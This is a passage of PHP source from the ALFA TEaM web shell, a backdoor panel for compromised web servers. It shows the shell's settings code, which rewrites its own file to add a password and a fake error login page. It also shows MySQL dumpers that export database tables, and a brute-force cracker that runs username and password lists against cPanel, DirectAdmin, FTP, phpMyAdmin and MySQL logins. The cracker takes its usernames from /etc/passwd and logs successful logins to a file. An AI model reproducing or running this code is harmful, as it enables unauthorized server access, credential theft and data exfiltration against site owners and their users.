\'<div class=header><center><p><div class="txtfont_header">| Settings |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'settings\\\',null,null,null,null,null,null,null,null,\\\'main\\\')">| Generall Setting | </a></h3></center>\';\r\nif($_POST["alfa8"] == "main"){\r\necho \'<p><center><div class="txtfont_header">| Settings |</div></p><form onSubmit="reloadSetting(this);return false;" method=\\\'post\\\'>\';\r\n$lg_array = array(\'0\'=>\'No\',\'1\'=>\'Yes\');\r\n$penc_array = array(\'false\'=>\'No\',\'true\'=>\'Yes\');\r\n$protect_html = "";\r\n$icon_html = "";\r\n$postEnc_html = "";\r\n$login_html = "";\r\n$cgiapi_html = "";\r\nforeach($lg_array as $key=>$val)$protect_html .= \'<option value="\'.$key.\'" \'.($GLOBALS[\'DB_NAME\'][\'safemode\']==\'1\'?\'selected\':\'\').\'>\'.$val.\'</option>\';\r\nforeach($lg_array as $key=>$val)$icon_html .= \'<option value="\'.$key.\'" \'.($GLOBALS[\'DB_NAME\'][\'show_icons\']==\'1\'?\'selected\':\'\').\'>\'.$val.\'</option>\';\r\nforeach($penc_array as $key=>$val)$cgiapi_html .= \'<option value="\'.$key.\'" \'.(!empty($_POST[\'alfa9\'])&&$_POST[\'alfa9\']==$key?"selected":($GLOBALS["DB_NAME"]["cgi_api"]&&empty($_POST[\'alfa9\'])?\'selected\':\'\')).\'>\'.$val.\'</option>\';\r\nforeach($penc_array as $key=>$val)$postEnc_html .= \'<option value="\'.$key.\'" \'.(!empty($_POST[\'alfa7\'])&&$_POST[\'alfa7\']==$key?"selected":(__ALFA_POST_ENCRYPTION__&&empty($_POST[\'alfa7\'])?\'selected\':\'\')).\'>\'.$val.\'</option>\';\r\n$lg_array = array("gui"=>"GUI","500"=>"500 Internal Server Error","403"=>"403 Forbidden","404"=>"404 NotFound");\r\nforeach($lg_array as $key=>$val)$login_html .= \'<option value="\'.$key.\'" \'.($GLOBALS[\'DB_NAME\'][\'login_page\']==$key?\'selected\':\'\').\'>\'.$val.\'</option>\';\r\necho \'\';\r\necho \'<table border="1"><tbody><tr><td><div class="tbltxt" style="color:#FFFFFF">Protect:</div></td><td><select name="protect" style="width:100%;">\'.$protect_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Cgi Api:</div></td><td><select name="cgi_api" style="width:100%;">\'.$cgiapi_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Post Encryption:</div></td><td><select name="post_encrypt" style="width:100%;">\'.$postEnc_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Show Icons:</div></td><td><select name="icon" style="width:100%;">\'.$icon_html.\'</select></td></tr><tr><tr><td><div class="tbltxt" style="color:#FFFFFF">login Page:</div></td><td><select style="width:100%;" name="lgpage">\'.$login_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">UserName:</div></td><td><input type="text" style="width:95%;" name="username" value="\'.(empty($_POST[\'alfa3\'])?$GLOBALS[\'DB_NAME\'][\'user\']:$_POST[\'alfa3\']).\'" placeholder="solevisible"></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Password:</div></td><td><input type="text" style="width:95%;" name="password" placeholder="*****"></td></tr></tbody></table><input type="hidden" name="e" value="\'.$GLOBALS[\'DB_NAME\'][\'safemode\'].\'"><input type="hidden" name="s" value="\'.$GLOBALS[\'DB_NAME\'][\'show_icons\'].\'"><p><input type="submit" name="btn" value=" "></p></form></center>\';\r\nif($_POST[\'alfa5\']==\'>>\'){\r\necho __pre();\r\nif(!empty($_POST[\'alfa3\'])){\r\n$protect = $_POST[\'alfa1\'];\r\n$lgpage = $_POST[\'alfa2\'];\r\n$username = $_POST[\'alfa3\'];\r\n$password = md5($_POST[\'alfa4\']);\r\n$icon = $_POST[\'alfa6\'];\r\n$post_encrypt = $_POST[\'alfa7\'];\r\n$cgi_api_val = $_POST[\'alfa9\'];\r\n@chdir($GLOBALS[\'home_cwd\']);\r\n$basename = @basename($_SERVER[\'PHP_SELF\']);\r\n$data = @file_get_contents($basename);\r\n$user_rand = $GLOBALS["DB_NAME"]["user_rand"];\r\n$pass_rand = $GLOBALS["DB_NAME"]["pass_rand"];\r\n$login_page_rand = $GLOBALS["DB_NAME"]["login_page_rand"];\r\n$safemode_rand = $GLOBALS["DB_NAME"]["safemode_rand"];\r\n$show_icons_rand = $GLOBALS["DB_NAME"]["show_icons_rand"];\r\n$post_encryption_rand = $GLOBALS["DB_NAME"]["post_encryption_rand"];\r\n$cgi_api_rand = $GLOBALS["DB_NAME"]["cgi_api_rand"];\r\n$find_user = \'/\\\'\'.$user_rand.\'\\\'(.*?),/i\';\r\n$find_pw = \'/\\\'\'.$pass_rand.\'\\\'(.*?),/i\';\r\n$find_lg = \'/\\\'\'.$login_page_rand.\'\\\'(.*?),/i\';\r\n$find_p = \'/\\\'\'.$safemode_rand.\'\\\'(.*?),/i\';\r\n$icons = \'/\\\'\'.$show_icons_rand.\'\\\'(.*?),/i\';\r\n$postEnc = \'/\\\'\'.$post_encryption_rand.\'\\\'(.*?),/i\';\r\n$cgi_api_reg = \'/\\\'\'.$cgi_api_rand.\'\\\'(.*?),/i\';\r\nif(!empty($username)&&preg_match($find_user,$data,$e)){\r\n$new = \'\\\'\'.$user_rand.\'\\\' => \\\'\'.$username.\'\\\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(!empty($_POST[\'alfa4\'])&&preg_match($find_pw,$data,$e)){\r\n$new = \'\\\'\'.$pass_rand.\'\\\' => \\\'\'.$password.\'\\\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(!empty($lgpage)&&preg_match($find_lg,$data,$e)){\r\n$new = \'\\\'\'.$login_page_rand.\'\\\' => \\\'\'.$lgpage.\'\\\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(!empty($find_p)&&preg_match($find_p,$data,$e)){\r\n$new = \'\\\'\'.$safemode_rand.\'\\\' => \\\'\'.$protect.\'\\\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(preg_match($icons,$data,$e)){\r\n$new = \'\\\'\'.$show_icons_rand.\'\\\' => \\\'\'.$icon.\'\\\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(preg_match($postEnc,$data,$e)){\r\n$new = \'\\\'\'.$post_encryption_rand.\'\\\' => \'.$post_encrypt.\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(preg_match($cgi_api_reg,$data,$e)){\r\n$new = \'\\\'\'.$cgi_api_rand.\'\\\' => \'.$cgi_api_val.\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(@file_put_contents($basename,$data)){\r\necho \'<b>UserName: </b><font color="green"><b>\'.$username.\'</b></font><br /><b>Password: </b><font color="green"><b>\'.$_POST[\'alfa4\'].\'</b></font><script>post_encryption_mode = \'.$post_encrypt.\';</script>\';\r\n}else{\r\n__alert("<span style=\'color:red;\'>File has no edit access...!</span>");\r\n}\r\n}else{\r\n__alert("<span style=\'color:red;\'>UserName is Empty !</span>");\r\n}\r\n}\r\n}elseif($_POST["alfa8"] == "color"){\r\necho(\'<center><p><div class="txtfont_header">| Custom Color |</div></p><form onSubmit="reloadColors();return false;" method=\\\'post\\\'>\');\r\necho \'<table border="1"><tbody>\';\r\n$template = \'<tr><td style="text-align:center;"><a href="http://solevisible.com/customcolors/{help}.png" target="_blank"><font color="#00FF00">Help</font></a></td><td style="text-align:center;"><div class="tbltxt">{index}</div></td><td><div class="tbltxt" style="margin-left:5px;">{target}:</div></td><td><input style="width:60px;" multi="{multi}" id="gui_{target}" onChange="colorHandler(this);" target=".{target}" type="color" value="{color}"></td><td><input type="text" style="text-align:center;" multi="{multi}" onkeyup="colorHandlerKey(this);" target=".{target}" id="input_{target}" class="colors_input" placeholder="#ffffff" value="{color}"></td></tr>\';\r\n$x = 1;\r\nforeach($GLOBALS[\'__ALFA_COLOR__\'] as $key => $value){\r\n\t$multi = "";\r\n\tif(is_array($value)){\r\n\t\tif(isset($value["multi_selector"])){\r\n\t\t\t$multi = __ZW5jb2Rlcg(json_encode($value));\r\n\t\t}\r\n\t}\r\n\t$value = alfa_getColor($key);\r\n\t$help = strtolower(str_replace(array(":", "+"), array("_", "_plus"), $key));\r\n\techo str_replace(array("{index}", "{target}", "{color}", "{multi}", "{help}"), array($x++, $key, $value, $multi, $help), $template);\r\n}\r\necho \'<tr><td style="text-align:center;">-</td><td style="text-align:center;"><div class="tbltxt">*</div></td><td><div style="margin-left:5px;" class="tbltxt">Use Default Color:</div></td><td></td><td><center><input type="checkbox" id="use_default_color" value="1"></center></td></tr>\';\r\n\r\necho \'</tbody></table><p><input type="submit" name="btn" value=" "></p></form><p><button style="padding:4px;;margin-right:20px;" onclick="$(\\\'importFileBtn\\\').click();" class="button"> Import </button> <button style="padding:4px;margin-left:20px;" onclick="g(\\\'settings\\\',null,null,null,null,null,null,null,\\\'export\\\',\\\'color\\\')" class="button"> Export </button></center></p>\';\r\nif($_POST[\'alfa7\']==\'export\'){\r\n\techo __pre();\r\n\t$colors = is_array($GLOBALS["DB_NAME"]["color"])?$GLOBALS["DB_NAME"]["color"]:array();\r\n\t$glob_colors = $GLOBALS["__ALFA_COLOR__"];\r\n\t$array = array();\r\n\tforeach($glob_colors as $k => $v){\r\n\t\tif(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){\r\n\t\t\t$v = trim($colors[$k]);\r\n\t\t}else{\r\n\t\t\t$v = trim(is_array($v)?$v["key_color"]:$v);\r\n\t\t}\r\n\t\t$array[$k] = $v;\r\n\t}\r\n\t$file = "alfa_color_config_".date(\'Y-m-d-h_i_s\').".conf";\r\n\t$config = json_encode($array, JSON_PRETTY_PRINT);\r\n\tif(!@file_put_contents($file, $config)){\r\n\t\techo(\'<p><center>Color Config:<br><br><textarea rows="12" cols="70" type="text">\'.$config.\'</textarea></center></p>\');\r\n\t}else{\r\n\t\techo(\'<h3><p><center><a class="actions" href="javascript:void(0);" onclick="g(\\\'FilesTools\\\',null,\\\'\'.$file.\'\\\', \\\'download\\\')"><font color="#0F0">Download Config</font></a></center></p></h3>\');\r\n\t}\r\n}\r\nif($_POST[\'alfa2\']==\'>>\'){\r\n\techo __pre();\r\n\t$colors = json_decode($_POST["alfa1"],true);\r\n\t$array = "";\r\n\t$is_default = isset($_POST["alfa3"])&&$_POST["alfa3"]=="1"?true:false;\r\n\t$glob_colors = $GLOBALS["__ALFA_COLOR__"];\r\n\tforeach($glob_colors as $k => $v){\r\n\t\tif(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){\r\n\t\t\t$v = trim($colors[$k]);\r\n\t\t}else{\r\n\t\t\t$v = trim(is_array($v)?$v["key_color"]:$v);\r\n\t\t}\r\n\t\t$array .= \'"\'.trim($k).\'" => "\'.$v.\'",\';\r\n\t}\r\n\t@chdir($GLOBALS[\'home_cwd\']);\r\n\t$basename = @basename($_SERVER[\'PHP_SELF\']);\r\n\t$data = @file_get_contents($basename);\r\n\t$color = \'/\\\'color\\\'(.*?)\\),/s\';\r\n\tif(preg_match($color,$data,$e)){\r\n\t\t$new = "\'color\' => array(".$array."),";\r\n\t\t$data = str_replace($e[0],$new,$data);\r\n\t\tif(@file_put_contents($basename, $data)){\r\n\t\t\techo("<center><p><h3>[+] Success...</h3></p></center><script>location.reload();</script>");\r\n\t\t}else{\r\n\t\t\techo("<center><p><h3>[-] We Not have permission to Edit shell...!</h3></p></center>");\r\n\t\t}\r\n\t}else{\r\n\t\techo("<center><p><h3>[-] Error...!</h3></p></center>");\r\n\t}\r\n}\r\n}\r\necho(\'</div>\');\r\nalfafooter();\r\n}\r\nfunction alfaaboutus(){\r\nalfahead();\r\necho \'<div class="header">\';\r\n$news = new AlfaCURL();\r\n$about_us = $news->Send("http://solevisible.com/aboutus.php");\r\nif(empty($about_us)){\r\n$about_us = "<pre><center><img src=\'http://solevisible.com/images/farvahar-iran.png\'><br>\r\n<b><font size=\'+3\' color=\'#00A220\'>☮ ~ PEACE ~ ☮</font><br><b>\r\n<font color=\'#00A220\'>Shell Coded By Sole Sad & Invisible (ALFA TEaM)</font><br>\r\n<font color=\'#00A220\'>Contact : solevisible@gmail.com</font><br>\r\n<font color=\'#00A220\'>Telegram Channel: @solevisible</font><br>\r\n<font color=\'#FFFFFF\'>Skype : ehsan.invisible</font><br>\r\n<font color=\'#FFFFFF\'>Skype : sole.sad</font><br>\r\n<font color=\'#FF0000\'>Persian Gulf For Ever</font><br>\r\n<font color=\'#FF0000\'>Iranian Programmers</font><br>\r\n<font color=\'#FF0000\'>############</font><br>\r\n</center></pre><iframe src=\'tg://resolve?domain=solevisible\' frameborder=\'0\' width=\'0\' height=\'0\'></iframe>";\r\n}\r\necho __pre().$about_us;\r\necho(\'</div>\');\r\nalfafooter();\r\n}\r\nfunction alfacoldumper(){\r\nalfahead();\r\necho(\'<div class="header">\');\r\nAlfaNum(8,9,10);\r\necho "<center><br><div class=\'txtfont_header\'>| Mysql Column Dumper |</div><br><br>".getConfigHtml(\'all\')."<form method=\'post\' onsubmit=\\"var opt_id=this.getAttribute(\'opt_id\');var delimiter=\'json\';try{if($(\'dumper-delimiter-type\').value == \'delimiter\')delimiter=$(\'dumper-delimiter-input\').value}catch(e){};g(\'coldumper\',null,delimiter,JSON.stringify(col_dumper_selected_data[opt_id]),this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); col_dumper_selected_data[opt_id] = {};return false;\\"><p>";\r\n$delimiter = (!empty($_POST[\'alfa1\']) ? $_POST[\'alfa1\'] : \'::\');\r\n$selected_data = json_decode($_POST[\'alfa2\'], true);\r\n$username = ($_POST[\'alfa3\']);\r\n$password = ($_POST[\'alfa4\']);\r\n$dbname = ($_POST[\'alfa5\']);\r\n$dfile = ($_POST[\'alfa6\']);\r\n$host = ($_POST[\'alfa7\']);\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_host : \', \'inputName\' => \'db_host\', \'id\' => \'db_host\', \'inputValue\' => $host, \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_username : \', \'inputName\' => \'db_username\', \'id\' => \'db_user\', \'inputValue\' => $username, \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_password : \', \'inputName\' => \'db_password\', \'id\' => \'db_pw\', \'inputValue\' => $password, \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_name : \', \'inputName\' => \'db_name\', \'id\' => \'db_name\', \'inputValue\' => $dbname, \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Output Path: \', \'inputName\' => \'dfile\', \'inputValue\' => htmlspecialchars($GLOBALS[\'cwd\']), \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho "<br><input type=\'submit\' value=\' \' name=\'Submit\'></p></form></center>";\r\n$db = false;\r\nif(!empty($dbname)){\r\n\t$db = @mysqli_connect($host, $username, $password, $dbname);\r\n}\r\nif(count($selected_data) > 0){\r\n\tif($db){\r\n\t\tif(!is_dir($dfile)){\r\n\t\t\t$dfile = $GLOBALS[\'cwd\'];\r\n\t\t}\r\n\t\t$tbls = "";\r\n\t\t$ext = \'.txt\';\r\n\t\tif($delimiter == \'json\'){\r\n\t\t\t$ext = \'.json\';\r\n\t\t}\r\n\t\tforeach ($selected_data as $tbl => $cols) {\r\n\t\t\t$tables_query = mysqli_query($db, "SELECT ".implode(\',\', $cols)." FROM $tbl");\r\n\t\t\t$file_name = $dfile.\'/\'.$dbname.\'.\'.$tbl.$ext;\r\n\t\t\t$fp = fopen($file_name, "w");\r\n\t\t\t$data = array();\r\n\t\t\twhile($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){\r\n\t\t\t\tif($delimiter == "json"){\r\n\t\t\t\t\t$col_arr = array();\r\n\t\t\t\t\tforeach ($row as $key => $value) {\r\n\t\t\t\t\t\tif(empty($value)){\r\n\t\t\t\t\t\t\t$value = "[empty]";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t $col_arr[$key] = $value;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$data[$tbl][] = $col_arr;\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$data = "";\r\n\t\t\t\t\tforeach ($row as $key => $value) {\r\n\t\t\t\t\t\tif(empty($value)){\r\n\t\t\t\t\t\t\t$value = "[empty]";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t$data .= $value . $delimiter;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tfwrite($fp, $data ."\\n");\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif($delimiter == "json"){\r\n\t\t\t\tfwrite($fp, json_encode($data));\r\n\t\t\t}\r\n\t\t\tfclose($fp);\r\n\t\t\t$tbls .= "Done ~~~> ".$file_name."<br>";\r\n\t\t}\r\n\t\techo __pre();\r\n\t\techo "<center><font color=\'#00FF00\'>".$tbls."</font></center>";\r\n\t}\r\n}\r\nif(!empty($dbname) && count($selected_data) == 0){\r\n//echo __pre();\r\nif($db){\r\n\techo("<hr><div style=\'text-align:center;margin-bottom:5px;font-weight:bolder;\'><span>[ Select your tables and columns for dumping data ]</span></div>");\r\n\techo("<div style=\'text-align:center;\'><span>Output Type: </span><select id=\'dumper-delimiter-type\' onchange=\'colDumplerSelectType(this);\' name=\'output_type\'><option value=\'delimiter\' selected>delimiter</option><option value=\'json\'>json</option></select><div id=\'coldumper-delimiter-input\' style=\'display:inline;\'><span> Delimiter: </span><input id=\'dumper-delimiter-input\' style=\'text-align:center;\' type=\'text\' name=\'delimiter\' placeholder=\'eg: ,\'></div></div>");\r\n\t$data = array();\r\n\t$tables_query = mysqli_query($db, "SELECT table_name FROM information_schema.tables WHERE table_schema = database();");\r\n\twhile($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){\r\n\t\t$data[$row["table_name"]] = array();\r\n\t\t$table_count_q = mysqli_query($db, "SELECT count(*) FROM `".$row[\'table_name\']."`");\r\n\t\t$table_count = mysqli_fetch_row($table_count_q);\r\n\t\t$data[$row["table_name"]]["data_count"] = $table_count[0];\r\n\t\t$columns_query = mysqli_query($db, "SELECT column_name FROM information_schema.columns WHERE table_name = \'".$row[\'table_name\']."\'");\r\n\t\twhile($row2 = mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){\r\n\t\t\t$data[$row["table_name"]]["cols"][] = $row2["column_name"];\r\n\t\t}\r\n\t}\r\n\tmysqli_close($db);\r\n\r\n\techo \'<ul id="myUL">\';\r\n\tforeach($data as $tbl => $cols){\r\n\t echo \'<li><span style="color:#00FF00;" class="box">\'.$tbl.\' (\'.$cols["data_count"].\')</span><ul class="nested">\';\r\n\t foreach($cols["cols"] as $col){\r\n\t echo \'<li tbl="\'.$tbl.\'"><span style="color:#00FF00;" tbl="\'.$tbl.\'" class="box sub-box">\' . $col . \'</span></li>\';\r\n\t }\r\n\t echo \'</ul></li>\';\r\n\t}\r\n\techo \'</ul>\';\r\n}else{\r\necho(\'<center>mysqli_connect : Error!</center>\');\r\n}\r\n}\r\necho(\'</div>\');\r\nalfafooter();\r\n}\r\nfunction alfaDumper(){\r\nalfahead();\r\necho(\'<div class="header">\');\r\nAlfaNum(8,9,10);\r\necho "<center><br><div class=\'txtfont_header\'>| Mysql Database Dumper |</div><br><br>".getConfigHtml(\'all\')."<form method=\'post\' onsubmit=\\"g(\'dumper\',null,null,null,this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); return false;\\"><p>";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_host : \', \'inputName\' => \'db_host\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_username : \', \'inputName\' => \'db_username\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_password : \', \'inputName\' => \'db_password\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_name : \', \'inputName\' => \'db_name\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Dump Path: \', \'inputName\' => \'dfile\', \'inputValue\' => htmlspecialchars($GLOBALS[\'cwd\']).\'alfa.sql\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho "<br><input type=\'submit\' value=\' \' name=\'Submit\'></p></form></center>";\r\n$username = ($_POST[\'alfa3\']);\r\n$password = ($_POST[\'alfa4\']);\r\n$dbname = ($_POST[\'alfa5\']);\r\n$dfile = ($_POST[\'alfa6\']);\r\n$host = ($_POST[\'alfa7\']);\r\nif(!empty($dbname)){\r\necho __pre();\r\n$msg = "<center>Check this : <font color=\'red\'>".$dfile."</font></center>";\r\nif(@mysqli_connect($host,$username,$password,$dbname)){\r\nif(strlen(alfaEx("mysqldump"))>0){\r\nalfaEx("mysqldump --single-transaction --host=\\"$host\\" --user=\\"$username\\" --password=\\"$password\\" $dbname > \'".addslashes($dfile)."\'");\r\necho($msg);\r\n}else{\r\n__alert("Error...!");\r\n}\r\n}else{\r\necho(\'<center>mysqli_connect : Error!</center>\');\r\n}\r\n}\r\necho(\'</div>\');\r\nalfafooter();\r\n}\r\nfunction Alfa_DirectAdmin_Cracker($info){\r\nif(!$info[\'mysql\'])\r\n$url = $info[\'protocol\'].$info[\'target\'].\':\'.$info[\'port\'].\'/CMD_LOGIN\';\r\nelse $url = $info[\'protocol\'].$info[\'target\'].\'/phpmyadmin\';\r\n$curl = curl_init();\r\ncurl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);\r\ncurl_setopt($curl, CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0\');\r\ncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);\r\ncurl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);\r\ncurl_setopt($curl, CURLOPT_HEADER,0);\r\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\r\ncurl_setopt($curl, CURLOPT_URL,$url);\r\ncurl_setopt($curl, CURLOPT_USERPWD, $info[\'username\'].\':\'.$info[\'password\']);\r\nif($info[\'mysql\'])curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);\r\n$result = @curl_exec($curl);\r\n$curl_errno = curl_errno($curl);\r\n$curl_error = curl_error($curl);\r\nif ($curl_errno > 0) {echo "<font color=\'red\'>Error: $curl_error</font><br>";}\r\nelseif(preg_match(\'/CMD_FILE_MANAGER|frameset/i\',$result)){\r\necho \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green"> Login Success....</font><br>\';\r\n$info[\'target\'] = $url;\r\nCrackerResualt($info);\r\n}\r\ncurl_close($curl);\r\n}\r\nfunction Alfa_CP_Cracker($info){\r\n$url = $info[\'protocol\'].$info[\'target\'].\':\'.$info[\'port\'];\r\n$curl = curl_init();\r\ncurl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);\r\ncurl_setopt($curl, CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0\');\r\ncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);\r\ncurl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);\r\ncurl_setopt($curl, CURLOPT_HEADER,0);\r\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER,1);\r\ncurl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: Basic " . __ZW5jb2Rlcg($info[\'username\'].":".$info[\'password\']) . "\\n\\r"));\r\ncurl_setopt($curl, CURLOPT_URL, $url);\r\n$result = @curl_exec($curl);\r\n$curl_errno = curl_errno($curl);\r\n$curl_error = curl_error($curl);\r\nif ($curl_errno > 0) {echo "<font color=\'red\'>Error: $curl_error</font><br>";}\r\nelseif(preg_match(\'/filemanager/i\',$result)){\r\necho \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green"> Login Success....</font><br>\';\r\n$info[\'target\'] = $url;\r\nCrackerResualt($info);\r\n}\r\ncurl_close($curl);\r\n}\r\nfunction Alfa_FTP_Cracker($info){\r\n$url = $info[\'protocol\'].$info[\'target\'];\r\n$curl = curl_init();\r\ncurl_setopt($curl, CURLOPT_URL, $url);\r\ncurl_setopt($curl, CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0\');\r\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\r\ncurl_setopt($curl, CURLOPT_USERPWD, "".$info[\'username\'].":".$info[\'password\']."");\r\n$result = @curl_exec($curl);\r\n$curl_errno = curl_errno($curl);\r\n$curl_error = curl_error($curl);\r\nif ($curl_errno > 0) {echo "<font color=\'red\'>Error: $curl_error</font><br>";}\r\nelseif(preg_match(\'/(\\d+):(\\d+)/i\',$result)){\r\necho \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green"> Login Success....</font><br>\';\r\n$info[\'target\'] = $url;\r\nCrackerResualt($info);\r\n}\r\ncurl_close($curl);\r\n}\r\nfunction Alfa_Mysql_Cracker($info){\r\nif(@mysqli_connect($info[\'target\'].\':\'.$info[\'port\'],$info[\'username\'],$info[\'password\'])){\r\nCrackerResualt($info);\r\necho \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green"> Login Success....</font><br>\';\r\n}\r\n}\r\nfunction Alfa_FTPC($info){\r\nif($con=@ftp_connect($info[\'target\'],$info[\'port\'])){\r\nif($con){\r\n$login=@ftp_login($con,$info[\'username\'],$info[\'password\']);\r\nif($login){CrackerResualt($info);}}}\r\n@ftp_close($con);\r\n}\r\nfunction CrackerResualt($info){\r\n$res = $info[\'target\'].\' => \'.$info[\'username\'].":".$info[\'password\']."\\n" ;\r\n$c = @fopen($info[\'fcrack\'],\'a+\');\r\n@fwrite($c, $res);\r\n@fclose($c);\r\n}\r\nfunction Alfa_Call_Function_Cracker($method,$info){\r\nswitch($method){case \'cp\':return Alfa_CP_Cracker($info);break;case \'direct\': case \'phpmyadmin\':return Alfa_DirectAdmin_Cracker($info);break;case \'ftp\':return Alfa_FTP_Cracker($info);break;case \'mysql\':return Alfa_Mysql_Cracker($info);break;case \'mysql\':return Alfa_FTPC($info);break;}\r\n}\r\nfunction alfaCrackers(){\r\nalfahead();\r\nAlfaNum(9,10);\r\necho \'<div class="header"><center><br><div class="txtfont_header">| Brute Forcer |</div><br><br><form method="post" onsubmit="g(\\\'Crackers\\\',null,this.target.value,this.port.value,this.usernames.value,this.passwords.value,this.fcrack.value,\\\'start\\\',this.protocol.value,this.loginpanel.value);return false;"><div class="txtfont">Login Page: <select onclick="dis_input(this.value);" name="loginpanel">\';\r\nforeach(array(\'cp\'=>\'Cpanel\',\'direct\'=>\'DirectAdmin\',\'ftp\'=>\'FTP\',\'phpmyadmin\'=>\'PhpMyAdmin[DirectAdmin]\',\'mysql\'=>\'mysql_connect()\',\'ftpc\'=>\'ftp_connect()\') as $key=>$val)echo(\'<option value="\'.$key.\'">\'.$val.\'</option>\');\r\necho \'</select> Protocol: <select id="protocol" name="protocol">\';\r\nforeach(array(\'https://\',\'http://\',\'ftp://\') as $val)echo(\'<option value="\'.$val.\'">\'.$val.\'</option>\');\r\necho \'</select> Website/ip Address: <input id="target" type="text" name="target" value="localhost">\r\nPort: <input id="port" type="text" name="port" value="2083">\r\n<table width="30%"><td align="center">Users List</td><td align="center">Passwords</td></table>\r\n<textarea placeholder="Users" rows="20" cols="25" name="usernames">\'.($GLOBALS[\'sys\']==\'unix\'?alfaEx("cut -d: -f1 /etc/passwd"):"").\'</textarea>\r\n  <textarea placeholder="Passwords" rows="20" cols="25" name="passwords"></textarea><br><br>\r\nSave Result Into File <input type="text" name="fcrack" value="cracked.txt">\r\n<p><input type="submit" name="cracking" value=" " /></div></form></p><center>\';\r\n$target = str_replace(array(\'https://\',\'http://\',\'ftp://\'),\'\',$_POST[\'alfa1\']);\r\n$port = $_POST[\'alfa2\'];\r\n$usernames= $_POST[\'alfa3\'];\r\n$passwords = $_POST[\'alfa4\'];\r\n$fcrack = $_POST[\'alfa5\'];\r\n$cracking = $_POST[\'alfa6\'];\r\n$protocol = $_POST[\'alfa7\'];\r\n$loginpanel = $_POST[\'alfa8\'];\r\n$p = $loginpanel == \'phpmyadmin\' ? $p = true : false;\r\nif($cracking==\'start\'){\r\necho __pre();\r\n$exuser = explode("\\n",$usernames);\r\n$expw = explode("\\n",$passwords);\r\nforeach($exuser as $user){\r\nforeach($expw as $pw){\r\n$array = array(\'username\' => trim($user),\'password\' => trim($pw),\'port\' => trim($port),\'target\' => trim($target),\'protocol\' => trim($protocol),\'fcrack\' => trim($fcrack),\'mysql\' => $p);\r\nAlfa_Call_Function_Cracker($loginpanel,$array);\r\n}\r\n}\r\necho \'<br><font color="red">Attack Finished...</font>\';\r\n}\r\necho 